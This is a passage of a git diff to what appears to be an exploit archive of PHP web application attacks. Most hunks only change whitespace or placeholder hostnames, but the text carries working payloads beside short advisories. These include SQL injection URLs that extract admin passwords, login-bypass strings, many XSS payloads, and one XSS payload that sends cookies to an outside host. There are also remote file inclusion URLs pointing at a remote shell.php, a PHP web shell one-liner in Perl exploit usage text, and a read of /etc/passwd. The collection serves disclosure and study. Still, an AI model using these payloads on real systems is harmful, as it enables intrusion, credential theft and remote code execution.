+http://www.example.com/[path_to_photogal]/ops/gals.php?news_file=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/25957.txt b/platforms/php/webapps/25957.txt index ad9c61c26..f388f0036 100755 --- a/platforms/php/webapps/25957.txt +++ b/platforms/php/webapps/25957.txt @@ -10,4 +10,4 @@ PunBB 1.2.5 and prior versions are vulnerable. Injecting the following can allow the attacker to gain administrative privileges: -temp[0]=group_id=1 \ No newline at end of file +temp[0]=group_id=1 \ No newline at end of file diff --git a/platforms/php/webapps/25958.txt b/platforms/php/webapps/25958.txt index b6a976267..61f0f7ee5 100755 --- a/platforms/php/webapps/25958.txt +++ b/platforms/php/webapps/25958.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos This issue is reported to affect ID Board version 1.1.3; other versions may also be vulnerable. -http://www.example.com/index.php?site=warn&f=1%20WHERE%200=1%20UNION%20SELECT%20mem_pw%20as%20post_topic_name%20FROM%20members%20WHERE%20mem_id=1/*&0&warn=0 \ No newline at end of file +http://www.example.com/index.php?site=warn&f=1%20WHERE%200=1%20UNION%20SELECT%20mem_pw%20as%20post_topic_name%20FROM%20members%20WHERE%20mem_id=1/*&0&warn=0 \ No newline at end of file diff --git a/platforms/php/webapps/25959.txt b/platforms/php/webapps/25959.txt index fd40c5d1e..906e47cbb 100755 --- a/platforms/php/webapps/25959.txt +++ b/platforms/php/webapps/25959.txt @@ -6,4 +6,4 @@ SPiD is prone to a remote file include vulnerability, due to lack of validation An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/SPiD/lang/lang.php?lang_path=http://www.example.com \ No newline at end of file +http://www.example.com/SPiD/lang/lang.php?lang_path=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/2596.pl b/platforms/php/webapps/2596.pl index 3c14168da..2720a2fe2 100755 --- a/platforms/php/webapps/2596.pl +++ b/platforms/php/webapps/2596.pl @@ -39,8 +39,8 @@ $path = $path."/constantes.inc.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; - print "Example : perl $0 http://127.0.0.1 http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; + print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/25960.txt b/platforms/php/webapps/25960.txt index 28ef1714c..6ba84d7f6 100755 --- a/platforms/php/webapps/25960.txt +++ b/platforms/php/webapps/25960.txt @@ -4,4 +4,4 @@ PPA is susceptible to a remote file include vulnerability. This issue is due to An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/inc/functions.inc.php?config[ppa_root_path]=http://www.example.com \ No newline at end of file +http://www.example.com/inc/functions.inc.php?config[ppa_root_path]=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/25990.txt b/platforms/php/webapps/25990.txt index f487772ef..cc84d6d78 100755 --- a/platforms/php/webapps/25990.txt +++ b/platforms/php/webapps/25990.txt @@ -5,4 +5,4 @@ A cross-site scripting vulnerability affects Clever Copy. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/calendar.php?mth=3&yr=2006"><script src= -"http://www.example.com/dev/injection/js.js"></script> \ No newline at end of file +"http://www.example.com/dev/injection/js.js"></script> \ No newline at end of file diff --git a/platforms/php/webapps/25994.txt b/platforms/php/webapps/25994.txt index 9eb644200..4e4539a93 100755 --- a/platforms/php/webapps/25994.txt +++ b/platforms/php/webapps/25994.txt @@ -7,4 +7,4 @@ Successful exploitation would result in information disclosure. Information obta This issue reportedly affects osCommerce version 2.2 milestone 2; other versions may also be vulnerable. http://www.example.com/catalog/extras/update.php?readme_file=/etc/passwd -http://www.example.com/catalog/extras/update.php?readme_file=../admin/.htaccess \ No newline at end of file +http://www.example.com/catalog/extras/update.php?readme_file=../admin/.htaccess \ No newline at end of file diff --git a/platforms/php/webapps/25995.txt b/platforms/php/webapps/25995.txt index dff7dfe62..34998536e 100755 --- a/platforms/php/webapps/25995.txt +++ b/platforms/php/webapps/25995.txt @@ -4,4 +4,4 @@ e107 Website System is prone to a script injection vulnerability. This issue is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.example.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color] \ No newline at end of file +[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.example.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color] \ No newline at end of file diff --git a/platforms/php/webapps/25997.txt b/platforms/php/webapps/25997.txt index eeb02eb62..9e08df647 100755 --- a/platforms/php/webapps/25997.txt +++ b/platforms/php/webapps/25997.txt @@ -4,4 +4,4 @@ tForum is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/tforum/member.php?Action=viewprofile&username=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/tforum/member.php?Action=viewprofile&username=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/2600.txt b/platforms/php/webapps/2600.txt index 3d3c5113e..7f12e1b0b 100755 --- a/platforms/php/webapps/2600.txt +++ b/platforms/php/webapps/2600.txt @@ -19,7 +19,7 @@ + themes/program/themesettings.inc.php, line(s) 02: include("$themesdir/$theme/colors.inc.php"); + + Proof of Concept: -+ http://[target]/[path]/themes/program/themesettings.inc.php?themesdir=http://evilserver/shell.php? ++ http://[target]/[path]/themes/program/themesettings.inc.php?themesdir=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-10-19] diff --git a/platforms/php/webapps/26007.txt b/platforms/php/webapps/26007.txt index 30c4dc0df..612eaaec6 100755 --- a/platforms/php/webapps/26007.txt +++ b/platforms/php/webapps/26007.txt @@ -1,4 +1,4 @@ -1. + 1. ######################################################################### 2. 3. [+] Exploit Title : php ticket system csrf diff --git a/platforms/php/webapps/26009.txt b/platforms/php/webapps/26009.txt index 7e807b197..4a0bcafa2 100755 --- a/platforms/php/webapps/26009.txt +++ b/platforms/php/webapps/26009.txt @@ -1,4 +1,4 @@ -1. + 1. ######################################################################### 2. 3. [+] Exploit Title : AfterLogic WebMail Lite PHP CSRF diff --git a/platforms/php/webapps/26014.txt b/platforms/php/webapps/26014.txt index d97237b89..190fbd273 100755 --- a/platforms/php/webapps/26014.txt +++ b/platforms/php/webapps/26014.txt @@ -4,4 +4,4 @@ A cross-site scripting vulnerability affects Form Sender. This issue is due to a This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://[target]/[path]/processform.php3?name=<script>alert(document.cookie)</script> \ No newline at end of file +http://[target]/[path]/processform.php3?name=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26015.txt b/platforms/php/webapps/26015.txt index 614bf52d1..0c0e0c955 100755 --- a/platforms/php/webapps/26015.txt +++ b/platforms/php/webapps/26015.txt @@ -4,4 +4,4 @@ A cross-site scripting vulnerability affects Form Sender. This issue is due to a This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://[target]/[path]/processform.php3?failed=<script>alert(document.cookie)</script> \ No newline at end of file +http://[target]/[path]/processform.php3?failed=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26016.txt b/platforms/php/webapps/26016.txt index 5823e53e0..657a7c687 100755 --- a/platforms/php/webapps/26016.txt +++ b/platforms/php/webapps/26016.txt @@ -10,4 +10,4 @@ Enter the following string into the Username field: anything' or '1'='1'/* -followed by any characters in the Password field. \ No newline at end of file +followed by any characters in the Password field. \ No newline at end of file diff --git a/platforms/php/webapps/26018.txt b/platforms/php/webapps/26018.txt index 3eeb801cc..c1491dd20 100755 --- a/platforms/php/webapps/26018.txt +++ b/platforms/php/webapps/26018.txt @@ -4,4 +4,4 @@ A cross-site scripting vulnerability affects Pyrox Search. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://[www.example.com]/[path]/NEWSEARCH.php?whatdoreplace=whatdoreplace%00<script>alert(document.cookie)</script> \ No newline at end of file +http://[www.example.com]/[path]/NEWSEARCH.php?whatdoreplace=whatdoreplace%00<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26019.txt b/platforms/php/webapps/26019.txt index dc4b4208c..7db2b5328 100755 --- a/platforms/php/webapps/26019.txt +++ b/platforms/php/webapps/26019.txt @@ -10,4 +10,4 @@ supply the 'votingoption' parameter as value="1 /*!50030%20s*/" and submit the f /index.php?section=search&term=%22%3E%3Cscr\ipt%3Ealert(%22xss%22)%3C/sc\ript%3E -Create a blog entry with the title <script>alert('xss')</script> \ No newline at end of file +Create a blog entry with the title <script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/php/webapps/26021.txt b/platforms/php/webapps/26021.txt index deb187fe6..59b1448dc 100755 --- a/platforms/php/webapps/26021.txt +++ b/platforms/php/webapps/26021.txt @@ -4,4 +4,4 @@ Asn Guestbook is prone to multiple cross-site scripting vulnerabilities. These i An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/footer.php?version=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/footer.php?version=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26023.txt b/platforms/php/webapps/26023.txt index 8b00369f1..36e57c563 100755 --- a/platforms/php/webapps/26023.txt +++ b/platforms/php/webapps/26023.txt @@ -4,4 +4,4 @@ Atomic Photo Album is susceptible to a remote PHP file include vulnerability. Th An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/apa_phpinclude.inc.php?apa_module_basedir=http://www.example.com/ \ No newline at end of file +http://www.example.com/apa_phpinclude.inc.php?apa_module_basedir=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/26034.txt b/platforms/php/webapps/26034.txt index 5df738c11..bb1935481 100755 --- a/platforms/php/webapps/26034.txt +++ b/platforms/php/webapps/26034.txt @@ -4,4 +4,4 @@ NETonE PHPBook is prone to a cross-site scripting vulnerability because the appl A successful exploit could allow an attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example/com/guestbook.php?admin="><script>alert(document.cookie)</script><!-- \ No newline at end of file +http://www.example/com/guestbook.php?admin="><script>alert(document.cookie)</script><!-- \ No newline at end of file diff --git a/platforms/php/webapps/26036.txt b/platforms/php/webapps/26036.txt index 20f3b75a1..8bc0ec83a 100755 --- a/platforms/php/webapps/26036.txt +++ b/platforms/php/webapps/26036.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th PNG Counter 1.0 is vulnerable to this issue. -http://www.example.com/path/demo.php?digit=">XSS \ No newline at end of file +http://www.example.com/path/demo.php?digit=">XSS \ No newline at end of file diff --git a/platforms/php/webapps/26038.txt b/platforms/php/webapps/26038.txt index 1533ad824..904b676c4 100755 --- a/platforms/php/webapps/26038.txt +++ b/platforms/php/webapps/26038.txt @@ -5,4 +5,4 @@ Clever Copy is prone to multiple cross-site scripting vulnerabilities. These iss An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/categorysearch.php?star=0&searchtype="><script>XSS></script>category&searchterm=Announcements -http://www.example.com/categorysearch.php?star=0&searchtypecategory&searchterm=Announcements"><script>XSS</script> \ No newline at end of file +http://www.example.com/categorysearch.php?star=0&searchtypecategory&searchterm=Announcements"><script>XSS</script> \ No newline at end of file diff --git a/platforms/php/webapps/2604.txt b/platforms/php/webapps/2604.txt index 4a3f8eddb..515302b30 100755 --- a/platforms/php/webapps/2604.txt +++ b/platforms/php/webapps/2604.txt @@ -7,7 +7,7 @@ [Inject]]] -### http://[server]/[path]/quiz.php?action=show&qzid=[]SQL INJECTION[] +### http://[target.com]/[path]/quiz.php?action=show&qzid=[]SQL INJECTION[] Example: quiz.php?action=show&qzid=-1%20union%20select%200,0,0,0,username,passwort,email,0,0,0,0,0,0,0,0%20from%20wgcc_user%20where%20userid=1 diff --git a/platforms/php/webapps/26042.txt b/platforms/php/webapps/26042.txt index e5fcad536..57b5abe6c 100755 --- a/platforms/php/webapps/26042.txt +++ b/platforms/php/webapps/26042.txt @@ -4,4 +4,4 @@ BMForum is prone to multiple cross-site scripting vulnerabilities. These issues An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/announcesys.php?forumid=0[XSS-CODE] \ No newline at end of file +http://www.example.com/announcesys.php?forumid=0[XSS-CODE] \ No newline at end of file diff --git a/platforms/php/webapps/26043.txt b/platforms/php/webapps/26043.txt index 5387c0581..d0bed55ed 100755 --- a/platforms/php/webapps/26043.txt +++ b/platforms/php/webapps/26043.txt @@ -8,4 +8,4 @@ http://www.example.com/readpm.php?op=read&ID=2&name=pruebas&user=waltrapass http://www.example.com/readpm.php?op=read&ID=2&user=waltrapass http://www.example.com/readpm.php?op=del&ID=2&name=pruebas&user=waltrapass -http://www.example.com/readpm.php?op=del&ID=2&user=waltrapass \ No newline at end of file +http://www.example.com/readpm.php?op=del&ID=2&user=waltrapass \ No newline at end of file diff --git a/platforms/php/webapps/26045.txt b/platforms/php/webapps/26045.txt index 16e556abe..395d7bbdc 100755 --- a/platforms/php/webapps/26045.txt +++ b/platforms/php/webapps/26045.txt @@ -5,4 +5,4 @@ PHPList is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/public_html/lists/admin/?page=admin&id=INJECT HERE -http://www.example.com/lists/admin/?page=members&id=1%20union%20select%20null,password,null,null%20from%20phplist_admin%20where%20superuser=1/*sp_password \ No newline at end of file +http://www.example.com/lists/admin/?page=members&id=1%20union%20select%20null,password,null,null%20from%20phplist_admin%20where%20superuser=1/*sp_password \ No newline at end of file diff --git a/platforms/php/webapps/26047.txt b/platforms/php/webapps/26047.txt index 479b143d4..ae545bcc8 100755 --- a/platforms/php/webapps/26047.txt +++ b/platforms/php/webapps/26047.txt @@ -5,4 +5,4 @@ Easypx41 is prone to cross-site scripting vulnerabilities. An attacker may leverage these issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/index.php?pg=modules/forum/viewprofil.php&membres=[Code-XSS] -http://www.example.com/index.php?pg=modules/forum/viewtopic.php&Forum=[Code-XSS]&pgfull \ No newline at end of file +http://www.example.com/index.php?pg=modules/forum/viewtopic.php&Forum=[Code-XSS]&pgfull \ No newline at end of file diff --git a/platforms/php/webapps/26048.txt b/platforms/php/webapps/26048.txt index 8d1ae5cde..bdb1f8737 100755 --- a/platforms/php/webapps/26048.txt +++ b/platforms/php/webapps/26048.txt @@ -9,4 +9,4 @@ http://www.example.com/index.php?pg=modules/forum/viewtopic.php&Forum=Forum%20de http://www.example.com/index.php?pg=http://google.fr&pgtype=iframe&amp;amp;L=500&H=500 http://www.example.com/index.php?pg=modules/forum/viewprofil.php&membres=[variable-injection]&pgfull[variable-injection] http://www.example.com/index.php?pg=modules/forum/viewprofil.php&membres=[variable-injection] -http://www.example.com/index.php?pg=modules/forum/viewtopic.php&Forum=[change-or-variable-injection].&msg=1103495330.dat&pgfull \ No newline at end of file +http://www.example.com/index.php?pg=modules/forum/viewtopic.php&Forum=[change-or-variable-injection].&msg=1103495330.dat&pgfull \ No newline at end of file diff --git a/platforms/php/webapps/2605.txt b/platforms/php/webapps/2605.txt index ad6d3b636..e70daea2e 100755 --- a/platforms/php/webapps/2605.txt +++ b/platforms/php/webapps/2605.txt @@ -7,11 +7,11 @@ # Url: http://www.gocc.gov/groups/RI_SOS/software/sqltorss # # Exploit: -# http://server/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script] -# http://server/[path]/Src/getFeed/inc/config_local.php?PROJECT_ROOT=[Evil_Script] -# http://server/[path]/Src/getFeed/inc/rssonate.php?PROJECT_ROOT=[Evil_Script] -# http://server/[path]/Src/getFeed/inc/sql2xml.php?PROJECT_ROOT=[Evil_Script] -# http://server/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script] +# http://site.com/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script] +# http://site.com/[path]/Src/getFeed/inc/config_local.php?PROJECT_ROOT=[Evil_Script] +# http://site.com/[path]/Src/getFeed/inc/rssonate.php?PROJECT_ROOT=[Evil_Script] +# http://site.com/[path]/Src/getFeed/inc/sql2xml.php?PROJECT_ROOT=[Evil_Script] +# http://site.com/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script] # # (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com> # @@ -44,8 +44,8 @@ $path = $path."/Src/getFeed/inc/xml2rss.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; - print "Example : perl $0 http://127.0.0.1 http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; + print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/26050.txt b/platforms/php/webapps/26050.txt index bf18670b1..1a8ca3a2a 100755 --- a/platforms/php/webapps/26050.txt +++ b/platforms/php/webapps/26050.txt @@ -4,4 +4,4 @@ VBZooM Forum is prone to multiple cross-site scripting vulnerabilities. These is An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/vbzoom/login.php?UserID='<br><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/vbzoom/login.php?UserID='<br><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/26052.txt b/platforms/php/webapps/26052.txt index 2d910a699..7e9df90b7 100755 --- a/platforms/php/webapps/26052.txt +++ b/platforms/php/webapps/26052.txt @@ -8,4 +8,4 @@ http://www.example.com/index.php?date=22&month=3&year=2005%20UNION%20SELECT%200, username,pass%20FROM%20lrUsers%20WHERE%201/*&_g=2&_a=panel&_m=cal http://www.example.com/index.php?date=22%20UNION%20SELECT%200,0,0,0,0,0,username,pass%20 -FROM%20lrUsers%20WHERE%201/*&month=3&year=2005&_g=2&_a=panel&_m=cal \ No newline at end of file +FROM%20lrUsers%20WHERE%201/*&month=3&year=2005&_g=2&_a=panel&_m=cal \ No newline at end of file diff --git a/platforms/php/webapps/26053.txt b/platforms/php/webapps/26053.txt index 3e05f1708..848e8c962 100755 --- a/platforms/php/webapps/26053.txt +++ b/platforms/php/webapps/26053.txt @@ -4,4 +4,4 @@ PluggedOut CMS is prone to multiple cross-site scripting and SQL injection vulne Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible. -http://www.example.com/admin.php?action=report_statistics&report=visitors&list_from=[SQL-Injection] \ No newline at end of file +http://www.example.com/admin.php?action=report_statistics&report=visitors&list_from=[SQL-Injection] \ No newline at end of file diff --git a/platforms/php/webapps/26055.txt b/platforms/php/webapps/26055.txt index fcacf91b4..367858db6 100755 --- a/platforms/php/webapps/26055.txt +++ b/platforms/php/webapps/26055.txt @@ -6,4 +6,4 @@ Exploitation could yield administrative access to the ROCP site. This issue may be exclusive to sites hosting ROCP with Apache Web server. This has not been confirmed. -http://www.example.com/CP/account_manage.php/login.php \ No newline at end of file +http://www.example.com/CP/account_manage.php/login.php \ No newline at end of file diff --git a/platforms/php/webapps/26058.txt b/platforms/php/webapps/26058.txt index 5ab11fd8a..3d79bf86b 100755 --- a/platforms/php/webapps/26058.txt +++ b/platforms/php/webapps/26058.txt @@ -4,4 +4,4 @@ MySQL Eventum is prone to multiple cross-site scripting vulnerabilities. These i An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/eventum/get_jsrs_data.php?F=wee%22%3E%3Ciframe%3E \ No newline at end of file +http://www.example.com/eventum/get_jsrs_data.php?F=wee%22%3E%3Ciframe%3E \ No newline at end of file diff --git a/platforms/php/webapps/26059.txt b/platforms/php/webapps/26059.txt index 8b983fa68..0fe645662 100755 --- a/platforms/php/webapps/26059.txt +++ b/platforms/php/webapps/26059.txt @@ -18,4 +18,4 @@ http://[target]/[path]/search.php?front_searchresult=</title><script>alert(docum http://[target]/[path]/search.php?front_searchsubmit="><script>alert(document.cookie)</script> http://[target]/[path]/catalog.php?front_searchsubmit="><script>alert(document.cookie)</script> http://[target]/[path]/catalog.php?front_latestnews="><script>alert(document.cookie)</script> -http://[target]/[path]/catalog.php?catalogid="><script>alert(document.cookie)</script> \ No newline at end of file +http://[target]/[path]/catalog.php?catalogid="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2606.txt b/platforms/php/webapps/2606.txt index 4df7d8be0..865b3c907 100755 --- a/platforms/php/webapps/2606.txt +++ b/platforms/php/webapps/2606.txt @@ -7,7 +7,7 @@ # Url: svn.gna.org/svn/castor/trunk # # Exploit: -# http://www.server/[path]/lib/rs.php?rootpath=[Evil_Script] +# http://www.site.com/[path]/lib/rs.php?rootpath=[Evil_Script] # # (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com> # @@ -40,8 +40,8 @@ $path = $path."/lib/rs.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; - print "Example : perl $0 http://127.0.0.1 http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; + print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/26061.txt b/platforms/php/webapps/26061.txt index ab2c999bc..d7074bcb0 100755 --- a/platforms/php/webapps/26061.txt +++ b/platforms/php/webapps/26061.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos An example has been provided: login: Admin -password: ') or isnull(1/0) or ('a'='a \ No newline at end of file +password: ') or isnull(1/0) or ('a'='a \ No newline at end of file diff --git a/platforms/php/webapps/26062.txt b/platforms/php/webapps/26062.txt index e45ff2a60..563d80a5c 100755 --- a/platforms/php/webapps/26062.txt +++ b/platforms/php/webapps/26062.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos A proof of concept follows: User ID: admin -Password: no') or 1/* \ No newline at end of file +Password: no') or 1/* \ No newline at end of file diff --git a/platforms/php/webapps/26063.txt b/platforms/php/webapps/26063.txt index 70e6968c6..fd96344f0 100755 --- a/platforms/php/webapps/26063.txt +++ b/platforms/php/webapps/26063.txt @@ -4,4 +4,4 @@ Naxtor Shopping Cart is prone to a cross-site scripting vulnerability. This issu An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/lost_password.php?&email=<script>var%20xss=31337;alert(xss);</script>&reset=reset \ No newline at end of file +http://www.example.com/lost_password.php?&email=<script>var%20xss=31337;alert(xss);</script>&reset=reset \ No newline at end of file diff --git a/platforms/php/webapps/26064.txt b/platforms/php/webapps/26064.txt index 0613ec7c7..ef09ae0df 100755 --- a/platforms/php/webapps/26064.txt +++ b/platforms/php/webapps/26064.txt @@ -4,4 +4,4 @@ Naxtor Shopping Cart is prone to an SQL injection vulnerability. This issue is d Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/shop_display_products.php?cat_id=' \ No newline at end of file +http://www.example.com/shop_display_products.php?cat_id=' \ No newline at end of file diff --git a/platforms/php/webapps/26072.txt b/platforms/php/webapps/26072.txt index f1eec51d3..53be36411 100755 --- a/platforms/php/webapps/26072.txt +++ b/platforms/php/webapps/26072.txt @@ -6,4 +6,4 @@ The consequences of this attack may vary depending on the type of queries that c This issue is reported to affect Portail PHP version 2.4; Conflicting reports indicate this information may be inaccurate. -http://www.example.com/portailphp/index.php?affiche=Forum-read_mess&id=' \ No newline at end of file +http://www.example.com/portailphp/index.php?affiche=Forum-read_mess&id=' \ No newline at end of file diff --git a/platforms/php/webapps/26079.txt b/platforms/php/webapps/26079.txt index 5c57c1b1e..a10ef6d5c 100755 --- a/platforms/php/webapps/26079.txt +++ b/platforms/php/webapps/26079.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary server-side script code This issue reportedly affect Comdev eCommerce version 3.0; other versions may also be vulnerable. -http://www.example.com/oneadmin/config.php?path[docroot]=http://www.example.com/badscript.php.txt \ No newline at end of file +http://www.example.com/oneadmin/config.php?path[docroot]=http://www.example.com/badscript.php.txt \ No newline at end of file diff --git a/platforms/php/webapps/26080.txt b/platforms/php/webapps/26080.txt index 4fc423459..5ad106147 100755 --- a/platforms/php/webapps/26080.txt +++ b/platforms/php/webapps/26080.txt @@ -4,4 +4,4 @@ Comdev eCommerce is prone to a directory traversal vulnerability. A remote unauthorized user can disclose the contents of arbitrary local files through the use of directory traversal strings '../' relative to the Web application's root path. Exploitation of this vulnerability could lead to a loss of confidentiality. -http://www.vulnerable.com/oneadmin/faqsupport/wce.download.php?download=../../config.php \ No newline at end of file +http://www.vulnerable.com/oneadmin/faqsupport/wce.download.php?download=../../config.php \ No newline at end of file diff --git a/platforms/php/webapps/26081.txt b/platforms/php/webapps/26081.txt index 302d5c470..844891c46 100755 --- a/platforms/php/webapps/26081.txt +++ b/platforms/php/webapps/26081.txt @@ -6,4 +6,4 @@ An attacker may leverage any of these issues to have arbitrary script code execu http://www.example.com/dwt_editor/dwt_editor.php?language=english[XSS-CODE]&cur_dir=%2Fscripting%2Fphp%2Fdwteditor%2Fdwt_editor http://www.example.com/dwt_editor/dwt_editor.php?language=english&cur_dir=[XSS-CODE]%2Fscripting%2Fphp%2Fdwteditor%2Fdwt_editor -http://www.example.com/dwt_editor/dwt_editor.php?do=editarea&cur_dir=%2Fscripting%2Fphp%2Fdwteditor%2Fdwt_editor%2Ffiles%2Fzweit+ebene&file=5db14c3963eff6b87ce20155708fd867&language=german&area=textbereich2[XSS-CODE] \ No newline at end of file +http://www.example.com/dwt_editor/dwt_editor.php?do=editarea&cur_dir=%2Fscripting%2Fphp%2Fdwteditor%2Fdwt_editor%2Ffiles%2Fzweit+ebene&file=5db14c3963eff6b87ce20155708fd867&language=german&area=textbereich2[XSS-CODE] \ No newline at end of file diff --git a/platforms/php/webapps/26097.txt b/platforms/php/webapps/26097.txt index 2eccca884..e10110fd5 100755 --- a/platforms/php/webapps/26097.txt +++ b/platforms/php/webapps/26097.txt @@ -4,4 +4,4 @@ Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. T An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/newsletter/logs/jnl_records \ No newline at end of file +http://www.example.com/newsletter/logs/jnl_records \ No newline at end of file diff --git a/platforms/php/webapps/26099.txt b/platforms/php/webapps/26099.txt index e351e5bcc..1004cfcca 100755 --- a/platforms/php/webapps/26099.txt +++ b/platforms/php/webapps/26099.txt @@ -8,4 +8,4 @@ http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</ http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script> http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script> http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script> -http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script> \ No newline at end of file +http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26102.txt b/platforms/php/webapps/26102.txt index cee261825..be656b0d5 100755 --- a/platforms/php/webapps/26102.txt +++ b/platforms/php/webapps/26102.txt @@ -6,4 +6,4 @@ This issue is due to a failure in the application to properly sanitize user-supp Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/messages.php?msg_view=' \ No newline at end of file +http://www.example.com/messages.php?msg_view=' \ No newline at end of file diff --git a/platforms/php/webapps/26103.txt b/platforms/php/webapps/26103.txt index 90d6147b0..5f0de089e 100755 --- a/platforms/php/webapps/26103.txt +++ b/platforms/php/webapps/26103.txt @@ -11,4 +11,4 @@ Another script code execution vulnerability may allow an attacker to call arbitr SysCP 1.2.10 and 